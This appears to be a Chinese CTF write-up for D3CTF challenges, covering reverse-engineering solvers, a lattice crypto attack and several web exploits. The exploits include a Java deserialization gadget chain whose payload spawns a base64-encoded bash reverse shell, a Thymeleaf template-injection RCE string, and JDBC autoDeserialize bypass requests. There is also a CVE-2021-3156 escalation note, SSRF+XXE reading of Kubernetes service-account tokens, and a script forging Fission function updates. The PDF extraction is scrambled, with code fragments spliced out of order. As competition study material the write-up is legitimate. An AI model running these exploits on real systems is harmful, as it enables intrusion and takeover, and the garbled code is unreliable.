13 A9 F5 D3 22 EA 25 B0 90 D9 EF CB 0E 31 B2 5E 01 92 21 9F D8 82 38 E5 9C B1'''.replace(' ','').replace('\\n','').decode('hex') table = '''F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF E0 E1 E2 E3 E4 E5 E6 E7 E8 E9 EA EB EC ED EE EF D0 D1 D2 D3 D4 D5 D6 D7 D8 D9 DA DB DC DD DE DF C0 C1 C2 C3 C4 C5 C6 C7 C8 C9 CA CB CC CD CE CF B0 B1 B2 B3 B4 B5 B6 B7 B8 B9 BA BB BC BD BE BF A0 A1 A2 A3 A4 A5 A6 A7 A8 A9 AA AB AC AD AE AF 90 91 92 93 94 95 96 97 98 99 9A 9B 9C 9D 9E 9F 80 81 82 83 84 85 86 87 88 89 8A 8B 8C 8D 8E 8F 70 71 72 73 74 75 76 77 78 79 7A 7B 7C 7D 7E 7F 60 61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 50 51 52 53 54 55 56 57 58 59 5A 5B 5C 5D 5E 5F 40 41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F 30 31 32 33 34 35 36 37 38 39 3A 3B 3C 3D 3E 3F 20 21 22 23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F'''.replace(' ','').replace('\\n','').decode('hex') enc_flag = '''2B 75 DD 89 55 4C 62 E2 F0 FC 2A 56 51 4D 41 44 1E 7C 88 17 92 BD A5 E6 F1 AD 27 E0 E0 19 FD 3F C7 5A 87 D2 F9 77 D7 26 7C A6 CA BF 72 69 03 6B DE 54 D0 DD E6 8A 2E DE 61 47 76 5C B2 66 B0 9B 77 BC E4 90 DC 57 9C 81 61 63 2D 6D DB 73 1A E3 7E B7 C2 96 68 4C AC 2E 1F 04 79 0B 37 E3 7E F6 2E 1D 91 F8 70 F5 7C DC 16 29 9A 14 D9 E8 E8 F0 B8 9B A7 D4 E3 87 A8 0D 36 8C 47 A4 37 67 7C 9F 18 B0 39 C3 F9 31 B6 2B C6 21 17 74 47 6A 87 DB 3A AB 1D FF 14 76 F2 5E 33 C4 CC AA FB A9 39 3F FD D6 64 C6 41 5F B8 70 F3 00 0F 6D C6 63 FA C3 36 D3 44 12 E6 9A CC 36 B0 96 60 05 03 91 29 22 B7 1A D1 74 B9 9C 6F A9 1E 39 90 1D D8 D1 29 83 FA 65 D9 73 1B 69 1E DD E1 71 11 A6 B1 D4 44 7E 7D C4 D9 97 F1 45 A3 34 96 D8 64 60 51 86 13 E6 79 90 7C 22 49 9A 33 C8 6D 9C 1F C4 69 10 B0 15 FC 9A C8 AC 2A DD 84 E4 E5 89 0F 8B 69 0E 3A FE E0 E6 98 36 65 42 F2 66 40 43 BE 26 8F 15 58 7A 21 EE EB F0 9D F7 33 4D AA 3B 63 A6 0D B8 3A 4E 11 80 36 3F D0 B4 5E BA BB 92 57 F5 7B 33 F9 66 BB D2 CE C8 19 8B 1D 67 39 AB FF 3D EA 3F E6 15 FB A9 46 4F FF F7 00 F5 1F B6 5F CE 32 2E 28 D2 F1 21 7E 7A A3 0C DE 2E BD 1C 88 9E 7F 12 CD 59 9D 45 13 45 19 75 0F 6B BA 74 20 74 18 A0 89 D3 01 63 E6 11 34 04 68 5A 6A B7 B2 36 6E 16 6E A0 06 52 EC 7C 0F C0 3D 37 CF DF 80 74 69 20 5D BE 8C AB 5E 11 1A 44 4A E0 6A AF 3B 04 7D 79 09 E5 46 0E EE 9D 36 A8 B1 39 B0 F0 5F 02 60 63 BB FB C4 BB 01 F4 8A DE 3C 06 90 1F 8C 47 C4 04 8E 9D BF AD 95 84 68 89 9A 4F F4 6B 52 73 0D EC 99 83 61 2F B3 1B 8F D8 84 1F 91 A6 BF BE 63 A0 EE 16 D5 70 73 FC D9 4E 8E E0 92 EF 4A EB EB CB 7E A7'''.replace(' ','').replace('\\n','').decode('hex') def inv_sbox(i): return table.index(chr(i)) dec = '' for m in xrange(2): ori = enc_flag[m*256:m * 256+256] Buf1 = [0] * 256 for i in xrange(256): Buf1[i] = ord(ori[i]) for n in xrange(15,-1,-1): t_table = [0] * 256 for jj in xrange(1,17): for kk in range(16): t_table[(jj-1) * 16 + kk] = (jj * ord(rnd_table[kk+16*n])%0x100) for ll in xrange(256): Buf1[ll] -= ll Buf1[ll] %= 0x100 Buf1[ll] ^= t_table[ll] # print(Buf1) Ancient init_array 很多奇怪的字符串解密 Flag⻓度56 第⼀个check d3ctf Flag和那个字符串进⾏了⼀通变换 fuck = [] for ii in xrange(256): # Buf1[ii + m * 256] = tables[[ii + m * 256]] Buf1[ii] = inv_sbox(Buf1[ii]) # for fff in Buf1: # fuck.append(hex(fff)) # print(fuck) for i in Buf1: dec += chr(i) import string from hashlib import sha256 print(dec.encode('hex')) des_list = [] find_list = [] for i in xrange(0,512,32): des_list.append(dec[i:i+32]) find_list.append('') for i in string.printable: for j in string.printable: for l in string.printable: for k in string.printable: ts = i+j+l+k t = sha256(ts).digest() for ttt in des_list: if t == ttt: index = des_list.index(ttt) find_list[index] = ts print(index,ts) break res = '' for i in find_list: res += i print(res) unsigned char ida_chars[] = { 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, ⽣成⼀个256的数组 0,0x100,0x200,0x300,........ 看上去应该是个⼆进制压缩之类的算法,每⼀位只会影响之前的,⼿⼯DFS就⾏ ⽤IDA Python 下条件断点,⼀点⼀点调整参数 Crypto 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00 }; # 0x401c35 global idx, orig, flag struct_addr = idc.read_dbg_qword(0x407328) target_before = idc.read_dbg_byte(struct_addr + 132 + idx - 6) # 这个6和5是慢慢调 出来的,⼀开始是1和0,数字变化⼤了就加⼀点 target = idc.read_dbg_byte(struct_addr + 132 + idx - 5) new_struct_addr = idc.get_reg_value('R14') res_before = idc.read_dbg_byte(new_struct_addr + 132 + idx - 6) res = idc.read_dbg_byte(new_struct_addr + 132 + idx - 5) print(f'{idx} orig {hex(orig)} target {hex(target)} before {hex(target_before)} before_res {hex(res_before)} res {hex(res)}') if (target_before == res_before and res >= target): idx += 1 orig -= 1 # 这⼀句看情况调 print(f"[+] Found idx {idx} value {hex(orig)}") flag += chr(orig) orig = 0x20 print(flag) orig += 1 idc.set_reg_value(0x401be6, 'RIP') # 0x401bed global idx, orig, flag idc.write_dbg_memory(0x4073ee, b'd3ctf{') idc.write_dbg_memory(0x4073f4, bytes(flag.encode('ascii'))) idc.write_dbg_memory(0x4073f4 + idx, bytes(chr(orig).encode('ascii'))) d3ctf{w0W_sEems_u_bRe4k_uP_tHe_H1DdeN_s7R_By_Ae1tH_c0De} babyLattice #!/usr/bin/env sage from sage.modules.free_module_integer import IntegerLattice from collections import namedtuple from hashlib import sha256 PublicKey = namedtuple('PublicKey', ['n', 'b']) SecretKey = namedtuple('SecretKey', ['p', 'q', 'A']) bound = 400 PK = PublicKey(n=6980450732819796165412869751031010960804624403043736263963700918494 5533884294737870524186521509776189989451383438084507903660182212556466321058025 7883191930598948255707851053881237189214806988515510241088447820911174087537825 9996194304069589232370236191010739980615057183678664274637196812446564620936621 5361, b=65473938578022920848984901484624361251869406821863616908777213906525858437236 1858322141986275106636324098693631439825949471641392200139046541969608293506424 1334877191842222040477750534505320215920037893530959380291687568143644273466724 9049535670986673774487031873808527230023029662915806344014429627710399196) c = 6466635493846619405272059181078376903056650465340946512117333136265466523157380 9234913985758725048071311571549777481776826624728742086174609897160897118750243 1927910215773481811303025721859117507974577939210694737300392259917557553409275 06766395262125949939309337338656431876690470938261261164556850871338570 def prmat(m): for row in m: print(*[{0: "0", 1: "1"}.get(v, "x") for v in row]) # solve for m, r P.<x,y> = PolynomialRing(Zmod(PK.n)) bounds = dict(x=2^bound,y=2^bound) poly = PK.b * x + y - c poly /= poly.constant_coefficient() n = len(poly.monomials()) factors = [ZZ(mono.subs(**bounds)) for mono in poly.monomials() if mono != 1] fmat = diagonal_matrix(QQ, factors) m = matrix(QQ, n, n) m[0:n-1,:1] = matrix(ZZ, n-1, 1, poly.coefficients()[:-1]) m[n-1,0] = PK.n m[:n-1,1:] = ~fmat prmat(m) m = m.LLL() m[:,1:] *= fmat WEB 8-bit pub {"username":"admin","password":{"password":"1"}} 登录 然后利⽤原型污染控制nodemailer⾛⼊执⾏sendmail命令那个分⽀,替换掉path和args,即可rce non RCE? 这两个请求条件竞争: GET /;admin/importData? jdbcUrl=jdbc%3amysql%3a%2f%2f0.0.0.0%3a3306%2fmysql%3fcharacterEncoding%3dutf8%26u seUnicode%3dtrue%26useSSL%3dfalse&databaseType=mysql&a=§1§ HTTP/1.1 GET /;admin/importData? jdbcUrl=jdbc%3amysql%3a%2f%2f0.0.0.0%3a3306%2fmysql%3fcharacterEncoding%3dutf8%26u seUnicode%3dtrue%26useSSL%3dfalse%26statementInterceptors%3dcom.mysql.jdbc.interce ptors.ServerStatusDiffInterceptor%26autoDeserialize%3dtrue%26user%3dyso_Jdk7u21_to uch%20/tmp/aaa&databaseType=mysql&a=§1§ HTTP/1.1 就能绕过autoDeserialize的check Exp.java m = m.change_ring(ZZ) # print flag print(m[0]) real_m = m[0,1] print('d3ctf{%s}' % sha256(int(real_m).to_bytes(50, 'big')).hexdigest()) import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable; import java.lang.reflect.Method; public class Expaaac implements Serializable { public String test; public Expaaac() throws IOException { test = "aa"; } private void writeObject(ObjectInputStream o) throws IOException,ClassNotFoundException { o.defaultReadObject(); } 执⾏下⾯代码 ⽣成两个⽂件 ⼀个Object.obj,⽤来把编译好的Exp.class写到⽬标classpath中,Exp.obj ⽤来反序列化时加载Exp.class执⾏其readObject⽅法中的恶意代码。 private void readObject(ObjectInputStream in) throws Exception { in.defaultReadObject(); Runtime.getRuntime().exec("/bin/bash -c {echo,xx......}|{base64,-d}| {bash,-i}"); } } import checker.DataMap; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.nio.charset.StandardCharsets; import java.nio.file.Files; import java.util.HashMap; import java.util.HashSet; import java.util.Map; import java.util.Set; /** * @author Lucifaer * @version 3.0 * * Gadget chain: * HashSet.readObject() * HashMap.put() * HashMap.hash() * DataMap.Entry.hashCode() * DataMap.Entry.getValue() * DataMap.get() * SimpleCache$StorableCachingMap.put() * SimpleCache$StorableCachingMap.writeToPath() * FileOutputStream.write() */ public class test { public static Serializable getGadget() throws Exception { byte[] content_byte = Files.readAllBytes(new File("/Users/smi1e/Downloads/ctf/norce/target/classes/Exp.class").toPath()); // String file_content = "lucifaer"; // byte[] content_byte = file_content.getBytes(StandardCharsets.UTF_8); String file_name = "../../../../../../../../../../../../../../tmp/webapp/target/classes/Exp.class" ; Constructor aspectjConstructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap") .getDeclaredConstructors()[0]; aspectjConstructor.setAccessible(true); Object simpleCache = aspectjConstructor.newInstance(".", 12); HashMap wrapperMap = new HashMap(); wrapperMap.put(file_name, content_byte); DataMap dataMap = new DataMap(wrapperMap, (Map) simpleCache); Constructor entryConstructor = Class.forName("checker.DataMap$Entry").getDeclaredConstructors()[0]; entryConstructor.setAccessible(true); Object entry = entryConstructor.newInstance(dataMap, file_name); HashSet map = new HashSet(1); map.add("foo"); Field field = null; try { field = HashSet.class.getDeclaredField("map"); } catch (NoSuchFieldException e) { field = HashSet.class.getDeclaredField("backingMap"); } field.setAccessible(true); HashMap innimpl = (HashMap) field.get(map); Field f2 = null; try { f2 = HashMap.class.getDeclaredField("table"); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData"); } f2.setAccessible(true); Object[] array = (Object[]) f2.get(innimpl); Object node = array[0]; if(node == null){ node = array[1]; } Field keyField = null; try{ keyField = node.getClass().getDeclaredField("key"); }catch(Exception e){ keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); } 改⼀下fnmd师傅的Mysql Fake Server代码,返回⾃定义序列化数据即可。 https://github.com/fnmsd/MySQL_Fake_Server keyField.setAccessible(true); keyField.set(node, entry); ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("/Users/smi1e/MySQL_Fake_Server/Object.obj")); o.writeObject(map); o.flush(); o.close(); Exp exp = new Exp(); ObjectOutputStream ox = new ObjectOutputStream(new FileOutputStream("/Users/smi1e/MySQL_Fake_Server/Exp.obj")); ox.writeObject(exp); // // ObjectInputStream xx = new ObjectInputStream(new FileInputStream("/Users/smi1e/Desktop/Tools/Exp/Rogue-MySql- Server/MySQL_Fake_Server/Exp.obj")); // xx.readObject(); // xx.close(); return map; } public static void main(String[] args) throws Exception{ getGadget(); } } Happy_Valentine's_Day 模板注⼊ name= [[${#this.getClass().getClassLoader().loadClass(#request.getHeader(111)).getDeclaredMethod(#req uest.getHeader(222),#this.getClass().getClassLoader().loadClass(#request.getHeader(333))).invoke( #this.getClass().getClassLoader().loadClass(#request.getHeader(111)).getDeclaredMethod(#reques t.getHeader(444)).invoke(null),#request.getParameter(1))}]]&password=123 弹个shell回来然后CVE-2021-3156提权即可 Pool Calc http://f899139df5.pool_calc.d3ctf.io/redirect?filename=app.js const fs = require('fs') const express = require('express') const {exec} = require('child_process') const format = require("string-format") const dotenv = require("dotenv"); dotenv.config() const app = express() app.use(express.static('public')); app.get("/", (req, res) => { return res.redirect("/redirect?filename=index.html") }) app.get("/redirect", (req, res) => { let filename = req.query.filename res.sendFile(`${__dirname}/` + filename) }) app.get('/calc', (req, res) => { let params = req.query var lang = params.language !== undefined ? params.language : "python" let calc_client_path = { "python": process.env.py_calc_tool_path, "php": process.env.php_calc_tool_path, "java": process.env.java_calc_tool_path } if (lang === 'python') { let data = { "action": params.action, "a": params.a, "b": params.b, "ip": process.env.py_calc_address, "port": process.env.py_calc_port } var cmd = format(calc_client_path.python + " " + '-action {action} -a {a} -b {b} -ip {ip} -p {port}', data) } else if (lang === 'php') { let data = { "action": params.action, "a": params.a, "b": params.b, "ip": process.env.php_calc_address, "port": process.env.php_calc_port } var cmd = format(calc_client_path.php + " " + '-action {action} -a {a} -b {b} -ip {ip} -p {port}', data) } else if (lang === 'java') { let data = { "action": params.action, "a": params.a, "b": params.b, "ip": process.env.java_calc_address, "port": process.env.java_calc_port } var cmd = format("java -jar" + " " + calc_client_path.java + " " + '- action {action} -a {a} -b {b} -ip {ip} -p {port}', data) } try { exec(cmd, ((error, stdout, stderr) => { res.send(stdout) })) } catch (e) { res.send("Something Error") } }) const port = process.env.web_app_port app.listen(port, () => { Part1: 命令注⼊,弹个shell回来得到第⼀个flag Part2: php swoole反序列化链 Part3: python pickle反序列化 Part4: jdk版本为8u221,⽤UnicastRef绕过JEP290限制,然后JRMP反序列化CC5攻击注册中⼼即可 real_cloud_storage SSRF 服务器上传的时候⽤的S3的PutObject的那个协议,上传的时候是往 http:// {endpoint}/${key}这个路径发put包,然后服务器去处理 在出错的时候会返回⼀个XML包,⼤部分客户端都没对返回数据的xxe进⾏防护 这个题解法就是ssrf+xxe SSRF + XXE XXE读⽂件的payload太多了,这⾥就不写了,反正就是两个要点,服务器返回⼀个错误码,然后去上对 象存储那边看⼀下XML的定义,搞⼀个能读⽂件的xxe就好了 console.log(`App listening at <http://0.0.0.0>:${port}`) }) POST /upload HTTP/1.1 Host: fn10031884.serverless.cloud.d3ctf.io Content-Length: 109 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4437.0 Safari/537.36 Content-Type: application/json Accept: */* Origin: <http://e4fee5ec90.real-cloud-storage.d3ctf.io> Referer: <http://e4fee5ec90.real-cloud-storage.d3ctf.io/> Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close {"endpoint":"censored.com","key":"key","bucket":"censored","file":"MTIzNA=="} real_cloud_serverless 读⽂件的时候,上⼀题的flag说要成为cluster admin,所以就想到了可能是kubernetes集群 集群⾥⾯有个两个关键⽂件 /var/run/secrets/kubernetes.io/serviceaccount/token /var/run/secrets/kubernetes.io/serviceaccount/namespace 通过namespace发现是fission-function 结合题⽬名serverless,预测是fission 函数计算的框架,根据官⽹的部署脚本,推测出fission controller这个service的域名是controller.fission 然后结合xxe,去读函数定义、httptrigger定义、数据包定义。 因为服务器是⽤put⽅式向后端发数据,所以我们去找fission⾥⾯的put的相关接⼝,发现可以对函数、 函数实现、httptrigger进⾏更新,那么就构造对应的包更新就好了 payload 简单写了个 import base64 import json import requests import time package_data = """ { "metadata": { "name": "options-trigger-80f00d41-6f9c-48a4-9bae-e86939868571", "namespace": "default", "selfLink": "/apis/fission.io/v1/namespaces/default/packages/options- trigger-80f00d41-6f9c-48a4-9bae-e86939868571", "uid": "822a0847-3d39-44ba-aefb-35c7687ecb3b", "resourceVersion": "74534", "generation": 1, "creationTimestamp": "2021-03-04T05:08:14Z", "managedFields": [ { "manager": "fission-bundle", "operation": "Update", "apiVersion": "fission.io/v1", "time": "2021-03-04T05:08:14Z" } ] }, "spec": { "environment": { "namespace": "default", "name": "python-env" }, "source": { "checksum": {} }, "deployment": { "type": "literal", "literal": "<base 64 encoded shell script>", "checksum": {} } }, "status": { "buildstatus": "succeeded", "lastUpdateTimestamp": "2021-03-04T05:08:14Z" } } """ function_data = """ { "metadata": { "name": "options-trigger", "namespace": "default", "selfLink": "/apis/fission.io/v1/namespaces/default/functions/options- trigger", "uid": "047a33a8-6fb7-4f68-a9de-7027e793c849", "resourceVersion": "74535", "generation": 1, "creationTimestamp": "2021-03-04T05:08:14Z", "managedFields": [ { "manager": "fission-bundle", "operation": "Update", "apiVersion": "fission.io/v1", "time": "2021-03-04T05:08:14Z" } ] }, "spec": { "environment": { "namespace": "default", "name": "python-env" }, "package": { "packageref": { "namespace": "default", "name": "options-trigger-80f00d41-6f9c-48a4-9bae-e86939868571", "resourceversion": "74534" }, "functionName": "hello.main" }, "secrets": null, "configmaps": null, "resources": {}, "InvokeStrategy": { "ExecutionStrategy": { "ExecutorType": "poolmgr", "MinScale": 0, "MaxScale": 0, "TargetCPUPercent": 0, "SpecializationTimeout": 120 }, "StrategyType": "execution" }, "functionTimeout": 60, "idletimeout": 120, "concurrency": 5 } } """ trigger_data = """ { "metadata": { "name": "a4a6c777-a0af-4575-a541-be938d8e5055", "namespace": "default", "selfLink": "/apis/fission.io/v1/namespaces/default/httptriggers/a4a6c777-a0af-4575-a541- be938d8e5055", "uid": "05034b5f-5131-4a51-9d2d-3326b02f3d10", "resourceVersion": "65860", "generation": 1, "creationTimestamp": "2021-03-04T05:08:40Z", "managedFields": [ { "manager": "fission-bundle", "operation": "Update", "apiVersion": "fission.io/v1", "time": "2021-03-04T05:08:40Z" } ] }, "spec": { "host": "", "relativeurl": "/upload123", "method": "GET", "functionref": { "type": "name", "name": "options-trigger", "functionweights": null }, "createingress": true, "ingressconfig": { "annotations": null, "path": "/upload123", "host": "*", "tls": "" } } } """ data = { "endpoint":"fission", # "key":"de9ccaa1-9f2f-4c5d-ada4-1bdd0dc09fe9.php", "bucket":"controller", # "file":"MTIzNA==" } def changeTrigger(): dd = dict(data) dd['key'] = "v2/triggers/http/a4a6c777-a0af-4575-a541-be938d8e5055" dd['file'] = base64.b64encode(trigger_data.encode()).decode() # dd = json.loads(trigger_data) print(dd) # resp = requests.put(" <http://localhost:31313/{}".format("v2/triggers/http/12e9f186-b4ca-41d6-ae43- fd91e573ff6d>"), json=dd) resp = requests.post(" <http://fn10031884.serverless.cloud.d3ctf.io/upload>", json=dd) print(resp.text) time.sleep(2) def changePackage(): dd = dict(data) dd['key'] = 